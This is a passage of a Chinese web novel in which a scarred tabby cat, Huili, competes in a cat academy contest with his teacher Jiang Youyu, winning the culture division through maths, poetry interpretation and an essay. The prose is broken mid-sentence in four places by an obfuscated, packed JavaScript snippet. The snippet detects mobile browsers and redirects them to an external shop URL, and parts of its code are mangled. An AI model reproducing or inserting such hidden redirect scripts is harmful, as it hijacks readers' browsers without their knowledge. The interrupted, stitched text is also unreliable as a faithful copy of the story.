今天举行的是初赛,赛场选手多,人头乱,广播喇叭嗡嗡响着,且熟悉的带队教师又不在,许多小猫不适应这种环境,注意力开始不集中了。 而灰狸可见惯了大场面,这点事情对他来说只是洒洒水,丝毫都没被环境影响,眼神坚定极了。 江有鱼顿时对灰狸又多了几分信心,整个四号赛场有三十只猫,也就一两只猫具有跟灰狸匹敌的气质,看样子,灰狸通过初赛一定没问题。 很快,主持人进场,宣布了初赛题目。 “请诸位选手在60分钟内,完成100道数学题,我们将按照成绩排名,200名参赛选手中,前20名可以进入复赛!” 这个题目听起来不难,需要学员36秒左右解一道题目而已,但要知道,以普通小猫的水平,一分钟都未必能做出一道题目。 能30秒就做完一道题的小猫,已经是顶尖水准的学员了,在这里也就是个入门水平,猫德大赛,果然英豪辈出,江有鱼暗暗担心,灰狸能挺得住吗? 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940348|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在家给灰狸做过限时测试,灰狸的最高记录是30秒解一道题,正确率能达到98%,按理说是有希望的。 不过,她从来没给灰狸练过这么大的题量,平常在家,一组练习题顶多也就20道,练习时间不超过15分钟。 因为小猫普遍耐心不好,坐得越久,正确率越低,少量多次的练习才符合他们的天性。 大部分猫连坐住60分钟的板凳都是奢望,更别说还有顺便做大量习题了! 看来这一关,不仅要考验小猫的学术水平,更要考验耐心,江有鱼双手合十,喃喃念了几句唐僧保佑,希望灰狸能收住意马心猿。 随着主持人一声令下,学员们开始做题。外面的带队教师也拿到了几份考卷,正一脸紧张地传看。 当时,就有人哀叫一声:“完了,今年的题目怎么这么难!” 江有鱼心一紧,连忙跟着凑过去,拿起卷子一看,也慌了神。 如果说她平常给灰狸练习的题目难度是三星级,这张卷子的难度就是五星级,除了简单加减乘除,还有20道题目涉及到了混合运算。 混合运算这种拔高题目,她跟灰狸练习的也很少……这下糟了! 出卷人应当是有意增加难度,还故意把那20道难题放在一开始的位置,目的就是为了让学员产生畏难情绪,心态失衡。 果然,有不少学员中了陷阱。 起码七八只小猫已经慌神了,眼泪在眼圈里打转转,还有些直接傻在那里,半天都不动笔。 还有些沉不住气的小猫,居然想去抄袭邻桌的答案,被主持人明察秋毫地揪了出去,取消参赛资格。 在这一片混乱中,还能岿然不动的选手就显得格外出彩,灰狸就是其中一个。 灰狸能保持镇定,固然是因为他的心理素质十分强悍,不是家猫能够比较的,还有一个原因,就是—— 这些题目他会做! 江有鱼虽然很少带他练习这么难的题目,但是艾达的习题册里有啊! 梅丽莎秉承东北人重视教育的特性,望猫成虎,给艾达买的练习题,换算成人类标准,都是奥林匹克竞赛题。 所以,在江有鱼不知道的时候,灰狸已经是一只练过奥赛题的猫了~ 前二十道最难的题目都会做,后面那些简单题目,自然是越做越顺手,越做越有信心。 这也是出题人的目的之一,让差者更差,优者更优,也免得拉不开差距,后续排名麻烦。 江有鱼只看灰狸聚精会神,下笔如飞,刷刷刷写的飞快,心里真是七上八下。 他到底会不会写啊?他难道是蒙的? 不过,就算是蒙的,也比交白卷的好。神灵菩萨保佑,让灰狸多蒙对几个吧! 一小时的时间,对参赛选手来说转瞬即逝,对场外教师来说度日如年。 计时结束,主持人把卷子收齐,拿进去批改了,现在是机器阅卷,成绩跟排名十分钟就能出来,大家立刻就能知道自己的成绩。 小猫们冲出考场,嗷嗷叫着扑向自己的老师,好几个当场就哭了,抱怨题目难、不会做。 只有三名选手气定神闲,其中就有灰狸一个。 反而是江有鱼急了,劈头问道:“你感觉怎么样?” 灰狸并未回答,只是缓缓道:“不好说,等十分钟就知道了。” 19.小小初赛,拿捏拿捏 十分钟后,激动人心的时刻终于到了。 当看到灰狸以96分的成绩成为第三名时,江有鱼一时间有点不敢相信自己的眼睛。 她虽然也有梦想,但当她看到那张卷子的时候,已经调整了心理预期,比赛难度超乎她的想象,灰狸能排个十七八名擦边进入比赛就不错了。 可是灰狸考了第三名呀! 200只来参赛的小猫,无一不是各自学院的翘楚,灰狸在这些人里得了第三名!全市第三名! 而他只正式上学了一个月! 灰狸真是只奇迹小猫! 要不是估计其他落选小猫的感受,江有鱼肯定已经欢呼出来了,她比自己高考的时候还激动,手指死死攥住灰狸的手腕,眉毛眼睛里都是欢喜。 灰狸虽然表面看起来不动声色,其实心里也早就高兴飞了。 江有鱼说的没错,他真的击败了那些家猫,名列前茅了,虽然不是第一名,但他也绝不比别猫差,是很有希望夺冠的选手! 今天的比赛就进行到这里,复赛要明天才开始,主持人给通过复赛的选手做了登记,江有鱼跟灰狸就先回去了。 回到家,江有鱼在外面强装出来的淡定就全没了,电话拿起来就没停过,当先就给家里打了个电话,把今天的成功夸得天上有地上无。 江家父母不懂这些,但也为女儿高兴,三人电话粥煲起来没完没了,将近两个小时后才挂断。 接下来,江有鱼又给冉晨星、梅丽莎这些朋友报喜,她们得知了灰狸的优异表现,也都十分激动。 打完了电话,江有鱼终于恢复了一点冷静,开始看今天的比赛直播回放。 她想找出第一名、第二名分别是何方神圣,这样才能评估对手实力。 可惜文化组的比赛是比做题,一点观赏性都没有,电视台都不稀罕在那浪费胶卷,只拍了个通过复赛的学院名单。 江有鱼运足目力,看到第二名是云朵猫德学院,98分。 云朵猫德学院是老牌名校,输给他们不丢人,江有鱼耸耸肩,接着看向第一名。 第一名居然是猫猫天才学院,100分! 江有鱼不能不吃惊了,那张卷子她在外面也做了一下,中间有道题目涉及到了小数的运算,完全不是小猫会学的东西。 猫猫天才学院难不成真的出了天才?开玩笑的吧? 不过,那道涉及小数运算的题目,最终答案是0,这也是难题的经典答案,说不定那只小猫是蒙对了呢? 这会儿,电视画面已经转播到了其他组别的比赛。现在出现在屏幕上的,正是情绪价值组的比赛。 一群毛团子小猫冲着镜头眨眼、歪头、喵喵叫,简直别提多萌啦!而且一个赛一个的貌美! 看这粉嫩粉嫩的肉垫!看这欲拒还迎的体态!看这个小肚皮翻得…… 啊啊啊啊!鼻血要萌出来啦! 江有鱼立刻就被迷住了,嘿嘿嘿地露出痴汉笑容,恨不得钻到屏幕里去,把那些小猫挨个抱起来亲死。 灰狸在后面看着,只觉得辣眼睛。 他的表情,就好像良家妇女看见了职业小三一样,那叫一个愤怒、嫌弃、不忍直视。 猫猫先祖在上啊,这些小浪货猫都没有廉耻的吗? 真是把猫脸都丢尽了! 灰狸上前拿起遥控器,啪的一下关掉了电视。 江有鱼正在那里幻想左拥右抱,结果被硬生生打断了,不满道:“你干什么啊?我正研究比赛录像呢,别耽误我制定夺冠战略!” 灰狸毫不客气地揭穿她:“什么夺冠战略?分明就是想看那些傻猫发骚!” “……什么发骚?拜托你注意一下个猫素质,都是文化组的第三名了,怎么能说粗话!” 江有鱼说罢,再次打开电视,还没看上三秒,灰狸piu一声,又把电视关掉。 江有鱼有点冒火了:“你搞什么鬼哟?干嘛不让我看电视?” 灰狸尾巴在地板上不满地啪啪敲着:“你不是让我注意个猫素质吗?那就不准看这个节目!我一看见那些小骚猫,我就牙痒痒、手痒痒,这样下去,我就没有素质可言了!” “粗鲁的表现是会被扣印象分的,你自己想清楚!” 江有鱼无奈,天大地大,考生最大,不管怎么说,必须得给灰狸创造一个文雅的环境。她只好忍痛跟那些翘屁股小猫说拜拜。 灰狸这才满意,他是真看不出那些小骚猫有什么好的,打滚撅屁股也算本事吗?是个猫就会! 还不是因为它们身段窈窕、皮毛丰盈、长着一张可爱的脸,才有人看么! 江有鱼在人类里算是不错的了,可惜依然具有人类的劣根性,太过肤浅,只懂得看外表,不能看到心灵美…… 像是贝儿那样,去爱上丑陋野兽的人类,真的存在吗? 灰狸摸摸自己满是疤痕的脸,心下黯然。 转天,就到了复赛环节。 过去几届的复赛,一般是听写单词,江有鱼也带着灰狸做了不少练习,但到了比赛场地才知道,这次复赛改制了,江有鱼的准备都落了空。 她试图跟工作人员打听复赛的考试信息,工作人员只告诉她是采取的是面试+口试的方式考核,其他一概都没透露。 复赛相比于初赛,就要严谨很多,还需要抽签决定出场顺序。灰狸抽中了第十九号,江有鱼隐隐有些担忧。 这个次序太靠后了,等到灰狸出场时,那些考官早就累了,只怕会影响得分。 但运气也是比赛的一部分,江有鱼只好接受现实。 复赛流程相对较长。所以主办方特意准备了一个候考室,让大家坐着休息。 候考室是可以让猫德教师一起进去的,江有鱼便带着灰狸安静地坐在角落。 这时候,门一响,一个年轻男人带着一只小猫走了进来,江有鱼只是抬眼瞥了一下,立刻便转不动眼睛了。 原因无他,这只小猫……太美了。 小猫生着一双清澈的蓝眼睛,如爱琴海水,湛蓝无暇。一头白色长发,用跟眼睛同色的发带扎起来,娇怯怯的我见犹怜。 最引人注目的,是小猫穿了一身靛蓝色的书生长衫,在十分的美貌上又加了三分的儒雅,从装扮上来看,显然是这屋里最有文化的猫了。 江有鱼暗叫不好,她完全没想到用服饰加印象分的策略,灰狸今天只穿了套普通的衬衫,完全跟文化两个字搭不上边啊! 不过嘛……这种策略也不一定适合他。江有鱼想象了一下独眼疤面书生,打了个寒颤,还是适合自己的装束才最好。 不知道这只小猫是哪家的学员?用衣饰放大猫咪自身优势,这一招简直太高明了! 江有鱼不着痕迹地瞥了一眼小猫的参赛证,上面写着: 姓名:子衿 性别:公猫 负责教师:方槐 学院:猫猫天才学院 看不出这个猫猫天才学院还真有几把刷子,要是有幸通过复赛,她到决赛的时候也该给灰狸打扮起来,就是不知道这个犟猫配不配合…… 子衿看起来是个相当温柔安静的小猫,怯怯跟在老师后面,连头都不敢抬,偶尔与人目光对视,脸颊便是一红,分外迷人。 江有鱼远远看着,只觉哈喇子都要下来了,正心驰神往间,忽觉小腿一痛。 她低头看去,灰狸尾巴正暴怒地甩来甩去,抽在身上比鞭子还疼。 她吞吞口水,也跟子衿一样把脑袋低下去,不敢再看周围了。 谁知道,方槐带着子衿,径自向着江有鱼身边的座位走了过来,询问道:“这个位子有人么?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954499|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 江有鱼连忙摇了摇头,方槐便不客气地坐下了。 他打量了灰狸两眼,对江有鱼笑道:“绝世好猫是吧?江校长运营互联网的技巧很高明啊,考不考虑来我们学院发展?” 江有鱼从他话里听出一丝轻蔑,忍不住皱起眉头。 方槐却觉得自己没有恶意。在他看来,有鱼猫德学院是个没什么前途的小学院,说不准很快就会被猫猫天才学院挤倒闭了。 江有鱼能营销出一个“绝世好猫”的头衔,挤进猫德大会,也是个人才了,与其倒闭破产,还不如加入他们学院,这不是皆大欢喜吗? 但很不幸,这句话同时戳中了江有鱼的两个雷点。 首先,“绝世好猫”不是营销出来的,而是灰狸本来就有这么好;第二,就算有鱼猫德学院生意不好,那也是她的心血,怎么能让别人看不起? 她把脸往旁边一扭,冷冷道:“多谢你的好意了,我其实根本不会运营互联网,还是留在我自己的学院踏实些。起码是当老板,比给人打一辈子工强。” 这话说的不客气,方槐的脸色也沉了。 他皮笑肉不笑道:“老板嘛,其实也不值几个钱。路边摆摊的也能管自己叫老板,还是得看你生意有没有前途。” 灰狸听出来他在讽刺江有鱼,顿时不高兴了。 这人带着只小骚猫晃来晃去就算了,还敢欺负他罩的人? 他立刻一翻白眼,骂道:“有没有前途关你屁事,轮得到你说话?碎嘴子男人,把你的□□夹好了,不说话没人当你是哑巴!” 这话一出,在场所有人都愣了,房间里人猫齐刷刷回头看过来,目光在三人身上扫来扫去,那含义要多丰富有多丰富。 江有鱼没想到灰狸的粗口有这么粗,一时也有点反应不过来。 不过,粗话听起来……好爽。 她含笑一抬眼,惊异地发现,子衿的眼中居然没有愤怒,反而跟她一样,有点暗爽? 奇怪,他有什么好爽的?一定是自己看错了 方槐则是血直冲脑门,气得要死。 可惜大庭广众之下,他总不能跟一只猫互骂,那也太掉价了。 而且,看刚刚灰狸那流畅的粗口,他还嘴恐怕也骂不过灰狸,到时候更丢脸。 但是,不作反应又咽不下这口气,他转向江有鱼:“这里是文化组的比赛,这么粗俗的猫,到底怎么混进来的?别是有什么黑幕吧?” 江有鱼也不是好欺负的,反唇相讥道:“我们都是靠实力进来的,你觉得有黑幕,那就向组委会举报去吧,我等着你来查。要是查不出什么子午卯酉,我可就要告你污蔑了啊。” 方槐又被呛了一下,恨声道:“你们只是撞了运气才勉强通过初赛,装什么天下第一?面试看整体气质跟文化底蕴,可不是死读书的就能通过的!” 他一指灰狸:“还实力呢,这种粗俗丑陋的野猫,能过复试才怪!” 丑陋粗俗四个字一出,灰狸的耳朵立马耷拉下来,神色也不对头了。 江有鱼最讨厌别人说灰狸的坏话,霍然站起,寒声道:“你说什么?” 双方剑拔弩张,眼看就要在候考室打起来,幸好此时工作人员进来了,两边这才勉强压住火气。 方槐拉着子衿,往地上呸了一口,头也不回地往旁边走去。 江有鱼愤愤地拉着灰狸,安抚道:“别信他的话,他就是故意影响你心态的!我们灰狸可是考了第三名的聪明猫,以后还会是冠军猫,实力强着呢!” 灰狸勉强点点头,却没有刚才那么自信了。 他回想着子衿的儒雅气度,又想起方槐说的“面试要看整体气质和文化底蕴”,心里惴惴不安。 他知道什么是气质,气质就是讨人喜欢。 偏偏,他最不擅长的就是这个。 20.独钓寒江雪 时间一秒一秒地流逝,时钟从九点转到十一点半,终于工作人员前来叫号:“请19号选手进场!” 灰狸吞吞口水,感觉小腿都在打颤,下意识地看了一眼江有鱼。 江有鱼跟着站起,重重地捏了一下他的手:“别紧张,就正常发挥,考完就可以回家了,晚上咱们炖鱼吃。” 她的手指也凉凉的,灰狸意识到江有鱼其实比他还紧张。他知道,江有鱼不仅是为了结果紧张,她更怕没有通过复赛,会让他失去信心。 这种被人担心的感觉,真的很好。 灰狸的心忽然一点也不慌了,仔细一想,他其实没什么可怕的。 就算通不过复赛,晚上依然能睡在温暖的床上,吃到江有鱼亲手做的菜,生活不会变糟糕的。 灰狸吐出一口气,挺直了腰板,向赛场走去。 考场是个舞台,舞台下面坐着一溜评委,跟灰狸看过的答题节目有点像。 主持人宣布:“请选手抽签,选择自己的题目。” 灰狸从箱子里摸出一个信封,打开来发现,上面写着十首古诗。 主持人道:“请选手朗读纸上诗歌,要求吐字清晰、语音流畅,不得有漏字、错字,若出现上述情况,将酌情扣分。下面,请开始做答。” 灰狸草草扫了一眼那张纸,发现没有什么偏难字,他全认得。 复赛这么简单吗?怎么比初赛还简单? 他心有疑惑,但却不会表露出来,而是按照要求,顺畅地把十首古诗都朗读了一遍,声音洪亮,全无卡顿。 要做到这一点虽然不难,但也不容易。起码灰狸知道艾达就绝对做不到,王子可以读,但也会念得磕磕巴巴。 评委们只是点点头,在纸上画了几笔,看样子灰狸的表现在他们眼中只是平平无奇。 灰狸以为这就结束了,殊不知,接下来才是重头戏。 主持人继续道:“下面,请选手从这十首诗歌中任选一首,向评委解释它的意思。你有一分钟的时间思考答案,下面开始倒计时一分钟。” 灰狸的瞳孔登时缩紧了,他就知道,不会这么简单! 主持人看他呆在原地,怜悯地叹口气。 今年赛制改革,不得不说步子迈的也太大了,大部分猫连认字都费劲,更遑论念诗了。 而且这次不止是念诗,更要求小猫能够理解诗句背后的意思,一些人类可能都做不到,猫怎么能行呢? 这一上午,他已经看到了太多震惊的小猫了,除了一个叫子衿的小猫完美答出题目外,剩下的小猫,基本就只是把诗原样念了一遍,还有些直接就是胡说八道。 比如说“碧玉妆成一树高”,有的小猫就会解释成:“我主人的碧玉首饰和化妆品堆在一起,有树那么高”,猫言猫语,真让人忍俊不禁。 他觉得灰狸也不可能会跳出这个怪圈。毕竟怎么看,灰狸都不像文化猫嘛! 人家子衿,名字就很有文化,还穿一身书生儒衫,一看就出自书香门第,灰狸,就是灰色狸花猫的意思,跟叫小白大花也没区别。主人肯定没什么墨水。 恰好此时,倒计时用尽,他立刻宣布:“请选手做答。” 说罢,他嘴角泛起笑意,已经准备好要听新的猫猫笑话了。 灰狸的眼睛抬起:“我选择解释《江雪》。” 有赖于江有鱼给他放的《幼儿诗词大会》节目,灰狸对诗歌也有了一点点了解。 所有的诗,都表达了作者的某种情绪。要不就是高兴,要不就是伤心,这点人跟狗一样,有了情绪都喜欢对着月亮嗷嗷叫。 只要能把握住作者的情绪,应该答案不会差太远吧? 抱着这样的想法,灰狸选择了《江雪》。 “千山鸟飞绝,万径人踪灭。孤舟蓑笠翁,独钓寒江雪。” 他自信,在场的所有猫,都不会比他更懂什么叫雪。 “冬天的时候,就会下雪,下雪的时候,非常寒冷,所有的活物都会躲起来,鸟躲在自己的巢穴,人也不离开自己的屋子,路上空荡荡的什么都没有,只有雪。” 这就是在解释“千山鸟飞绝,万径人踪灭”这句了,不得不说,解释的相当精准。 评委们略有些诧异,互相对视一眼。这句解释不仅描述了字面意思,更将诗中场面跟“雪”这一贯穿全诗的意向联系了起来,景情交融,深得诗中滋味。 这是哪家的小猫咪?实力强悍啊! 灰狸见评委们频频点头,知道自己的大方向没有错,更加自信的开口: “可有些人是不能回家的,不仅不能回家,他还必须在寒冷的江边捉鱼,天好冷,雪落了他一身,但他依然不走。” 这句解释就没有那么精准了,起码 “孤舟蓑笠”四个字就没解释到,但是大意完全没错。对于小猫来说,这水准已经非常优秀了。 虽然比子衿还略差一线,但灰狸这个回答,通过复赛绝对没问题。 评委们正要打分,却被主评委做了个手势制止。主评委问道:“那你觉得,这个人为什么不走?” 主持人没料到还有这一出,瞬间张大了嘴。 这、这是附加题吗? 天呐,这题目也太难了吧?别说猫了,连他也不会啊! 《江雪》虽然是名篇,但主持人也只知道这是个有人在下雪天钓鱼的事情,至于“蓑笠翁”为啥不走,却从来没想过。 人都不知道的东西,猫能知道吗? 谁料,灰狸却沉稳地开口了:“因为走了,就是输了。” “钓鱼,是他必须要做到的事情,一大家子都等着他钓鱼来养,不管天上下雨还是下雪,他都必须面对。需要完成的事情,是不能逃避放弃的。” 主评委眼中闪着兴味的光芒:“19号选手,你怎么知道,他是这么想的?” 灰狸回想起自己在河沟边蹲守捉鱼的日子,想起雪花落在鼻尖上那冰凉的触感,想起四只小爪垫冻结在冰面后,硬生生扯下时鲜血淋漓的痛苦,想起肠鸣如鼓时,耳边却只有雪落的绝对寂静。 他抬起眼睛,直视着主评委:“我就是知道。” 主评委被他的眼神震撼了。 《江雪》这首诗,写的是诗人不畏困难,斗争到底的节操,以及高洁如雪的情怀,这是教科书上的标准答案,灰狸刚刚的回答,顶多算是对了一半。 但是主评委在这一刻,忽然觉得教科书说错了。 他的眼神……那是什么样的眼神啊! 执着冷静中,又带着孤注一掷的疯狂,这哪是一只小猫的眼神,分明是诗中的“蓑笠翁”活了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962262|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来,亲身坐在他的对面! 会在一片孤寂中独钓寒江的人,到底是淡漠的像雪一样,还是热烈的如火一般,百折不回? 沉思片刻,主评委在自己的打分表上,涂了一个分数。 灰狸一离开考场,江有鱼就扑了上来,问他考的怎么样。 灰狸缓缓摇摇头,神色失落。 江有鱼问明白了考题,心里把出题人的祖宗十八代都骂了三百遍,这题目是拿来考猫的吗?除了读高三的那批学生,谁能懂这个? 灰狸的表现已经很好了,还能诌出来两句,换了她去,估计连灰狸都不如。 她安慰地拍拍灰狸的手:“没事,重在参与,都怪这届题目出的不行,咱回家,我给你做好吃的。” 她也不想留在这里,听灰狸被淘汰的消息,免得他伤心,当即就拉着他往外走。 岂料,就在他们快要踏出大门口时,工作人员从后面气喘吁吁追了过来:“19号选手!灰狸选手!请等等!” 两人停下脚步,回头看去,发现工作人员手里挥舞着一个银色的小东西。 江有鱼的心忽然激烈的跳动起来,这……难道说? 不能吧,灰狸不是说,他答得不好么? 工作人员跑到近前,埋怨道:“江老师,你们可是第二名,怎么提前退场了?赶快跟我回去做登记,顺便听决赛须知!” 说罢,他将手上那个银色的小卡片递给江有鱼,上面赫然写着“决赛证”三个大字。 这是真的吗?灰狸得了复赛第二名? 江有鱼如在梦中,恍恍惚惚跟着工作人员回到赛场,迷迷瞪瞪做了决赛登记,晕晕乎乎听了灰狸的成绩,最后晃晃悠悠回了家,还醒不过神来。 第二名?甚至主评委还给了灰狸满分? 好家伙,初赛第三名,复赛第二名,灰狸还有多少惊喜是她不知道的? 按这个进度下去,那决赛不就得第一名了? 江有鱼在家狂吃了三个冰淇淋,才把自己的魂儿从天外召回来。跟通过初赛的兴奋不同,现在她迷茫极了,连打电话报喜的心思都没有。 现在看来,这次比赛跟以往的比赛都不同,她的经验也于事无补,不如还是相信灰狸自己。自己只需要让灰狸吃好喝好休息好就行。 现在就别想其他的了,赶快给灰狸炖条鱼补脑子吧! 当晚,灰狸吃到了全鱼宴。 桌上有糖醋鲤鱼、香煎鳕鱼、蒜香鲶鱼、酥炸黄花鱼、砂锅鱼头汤……连米饭里面都拌着鱼肉松。 灰狸这辈子没享过这种口福,要不是顾及着面子,恨不得喵喵叫两声以示满意。 吃过了饭,灰狸本来还想复习一下功课,江有鱼坚决不准,说赛前最需要的是放松。她打开电视,跟灰狸一起看。 电视上正在转播今天的铁猫三项比赛,小猫咪们全力奔跑,奋勇争先,煞是精彩。 体育比赛最能调动人的激情,连灰狸也被这个节目吸引了,尾巴兴奋地甩来甩去:“那个黄毛!超过他!超过他!” 江有鱼的目光也盯着“那个黄毛”,那是只相当矫健的橘猫,头圆骨架大,跑起来的时候腰肢舒展,身姿像个小豹子一样流畅优雅,肩胛上滚动的都是腱子肉。 只是,这身影怎么看都有点眼熟? 21.黑幕 可惜体育赛事镜头晃动,橘猫速度又太快,始终看不到它的正脸。 江有鱼只能凭借那模糊的背影去判断,越想越觉得,那只猫像是石小姐的阿橘。 但是不可能啊!阿橘只有一身肥膘,哪来的腱子肉?应该是自己看错了吧。 灰狸察觉到江有鱼的目光都黏在黄毛身上,又有点不高兴了:“好看吗?” 江有鱼点头:“还是很有观赏性的,你不是也挺爱看。” 灰狸冷哼道:“我那是可惜自己没能参赛,要不然,风头怎么都轮不到这些小猫崽子出!” 江有鱼腹诽:当时要你报名,你又不乐意,现在又发起神经来了。 但她脸上丝毫没带出心中所想,笑眯眯答道:“那当然了,灰狸是世界上最厉害的猫咪,只是抽不开身而已,要不然您早就把六个组的冠军都拿遍了。” 她大拍一阵猫屁,灰狸的脸色这才好看一点。 转过天就是决赛,有资格参加决赛的选手只有5名。江有鱼带着灰狸到现场时,其他人都已经到了,只等着他们。 第一名的位置上坐着的赫然是方槐和子衿,也难怪方槐那么狂傲,他们确实很有实力。 见到江有鱼坐了第二名的位子,方槐十分讶然,但很快,他又摆出一副嗤笑的表情,似乎是在说,即使灰狸能通过复赛,也不可能打败子衿。 江有鱼懒得理他,横竖她参加比赛又不是为了争取方槐的认可,方槐爱怎么想,不关她的事。 倒是灰狸对不怀好意的目光很敏感,当即冷冷回望过去,目光里满是杀气,看的方槐脖子一凉,悻悻收回了目光。 这次决赛,采用的是笔试形式,五位选手一齐进场参赛,连他们的教师也可以进去。 江有鱼不明白这算什么,难道不怕有教师配合作弊吗? 但是既然能让她进场,她肯定就要去,虽然帮不上忙,但是能看见灰狸的状态,帮他加油打气也行啊。 进入赛场后,江有鱼这才发现,这是个大房间,中间用玻璃隔成两半,小猫在一侧,教师们在另一侧。 两侧都有工作人员看守,且玻璃是隔音的,除非人猫能用眼神交流答案,否则绝无可能作弊。 教师们被要求安安静静地坐着不动,另一边,主持人开始给小猫们念题。 “请以自己的教师为主题,撰写一篇200字以内的文章,立意自拟,题材不限,要求言语流畅,没有错字,感情饱满,比赛限时半小时。” 他念完,望着众猫如被雷劈的表情,轻轻叹口气。 这个题目啊,是越来越癫了。 让猫做阅读理解不算,现在还让猫写作文?这届出题人到底怎么想的? 灰狸也蒙圈了,尾巴不受控制地甩来甩去,那是紧张的表现。 写、写文章?这不是开玩笑吧? 这完全超出灰狸的能力范围了,他呆愣愣的拿着笔,不知道怎么办。 跟他一样傻在当地的还有其他三只猫,个个都拿求救的眼神望着自己的老师,教师们看到题目,也急得跟什么似的,只是他们都爱莫能助。 只有一只猫开始动笔,那就是子衿。 他似乎根本都不用思考的,笔尖在纸张上滑动,刷刷刷地响,让灰狸烦躁地动动耳朵。 不行啊,得想点办法,总不能交白卷啊! 江有鱼很希望自己拿冠军呢,现在他就差临门一脚了,若是栽在这里,岂不太可惜了? 他抬头望向对面,江有鱼端端正正地坐着,笑意宁静。 要是拿到冠军,她会笑的更高兴吧?可该死的,他根本不会写什么文章啊!江有鱼也没教过! 其他几只猫也都陷入这种死局中,时间一分一秒的流逝,每过一分钟,灰狸的心就慌上几分。 江有鱼也看出来灰狸脸色不好了,她心中也有点急了,但脸上丝毫不慌,依然端着宁静的笑容。 她如果也慌了的话,对灰狸没有一点好处,只能让他情绪更失控而已。 她眨眨眼,努力用目光传递信号:天塌下来我给你顶着,做的不好也没关系,我不会怪你的! 就在这时,子衿起身交了卷。 这无疑给其他选手造成了极大的心理压力,一只小猫崩溃了,把笔一扔,喵嗷嗷地哭起来,工作人员赶紧把他带出去。 灰狸的心更乱了,离比赛结束还有七分钟,可他的卷子仍是一片空白! 他这一紧张,不由得握紧了拳头。更加雪上加霜的事情发生了,他把笔捏断成两节,只剩下半根握在手里。 灰狸心里懊恼的不行,这笨爪子!平常捉鱼捉鼠不是都很灵的吗,怎么现在不听使唤了? 江有鱼看出来灰狸的局促,急的探身向前,双手合十,喃喃祈祷起来。 灰狸目光一动,看到了江有鱼的手。 他忽然想起来江有鱼第一天教他写字的夜晚,就是这双手包裹着他的笨爪子,一笔一划,一横一竖地细细教导。 不止是写字,这双手给他的东西太多了,根本数不过来。 灰狸的心头浮光掠影,与江有鱼相处的点滴在眼前飞速掠过,他忽然有了一种冲动,他想把这些事情都写下来。 不管那是不是一篇文章,起码是他的心里话。 灰狸执笔,写下了第一个字。 七分钟转瞬即逝,主持人收走了全部的卷子,拿给主考官评审。 其实评审的余地已经不大了,五名选手中,一名弃赛,一名交了白卷,最终写了文章的只有三名。 最终的冠军,必定在这三猫间产生! 灰狸走出考场,来到江有鱼身边。 江有鱼很怕他心情不好,但诡异的是,灰狸看上去脸有点红,目光也躲躲闪闪的,不像是心情差,倒像是——害羞了。 奇怪了,害羞什么? 不过也不重要了,最终的冠军很快就要揭晓,灰狸没有不开心就是好事,江有鱼对他鼓励一笑,递上一个保温瓶:“来,在里面比赛一定累了,喝点饮料吧。” 灰狸打开喝了一口,发现是甜牛奶,还温热温热的,遂吨吨吨把一瓶都干了。 另一边,方槐也拍拍子衿的头:“做的不错,方老师表扬你。” 子衿却没有半点高兴的样子,反而瑟缩了一下。 这次因为选手少,成绩出来的很快,不到五分钟,主评委就出来了,手里拿着最终结果。 大家都紧张起来,个个正襟危坐,大气都不敢出。 主评委扫视全场,眼神在灰狸身上多停留了一秒,还对着江有鱼微微笑了一下。 他无意掩饰,大家都看到了这个笑容。江有鱼还没反应过来,条件反射地也跟着笑了笑。 方槐心中忽然掠过一阵极不妙的预感,莫非,这次的冠军是灰狸? 但这不可能啊!子衿必定会是组冠军! 他紧张地看着主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16965241|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 评委打开最终结果,大声宣布道:“下面我代表云朵市猫德大赛组委会,宣布本届文化组组冠军是——” “有鱼猫德学院,灰狸!” 赛场内登时飘下无数彩带,并播放了慷慨激昂的颁奖音乐。江有鱼激动地又蹦又跳,拉着灰狸的手高呼:“你做到了灰狸!你真的是奇迹小猫!” 灰狸也是十分开心,生平第一次,他顺从了江有鱼的动作,配合她在原地蹦蹦跳跳。 他们俩开心,方槐那边却完全是另一番光景。 他一双眼睛瞪得极大,眼珠子几乎要凸出来,似乎完全没有预料到这个光景。 冠军是灰狸?不,不可能! 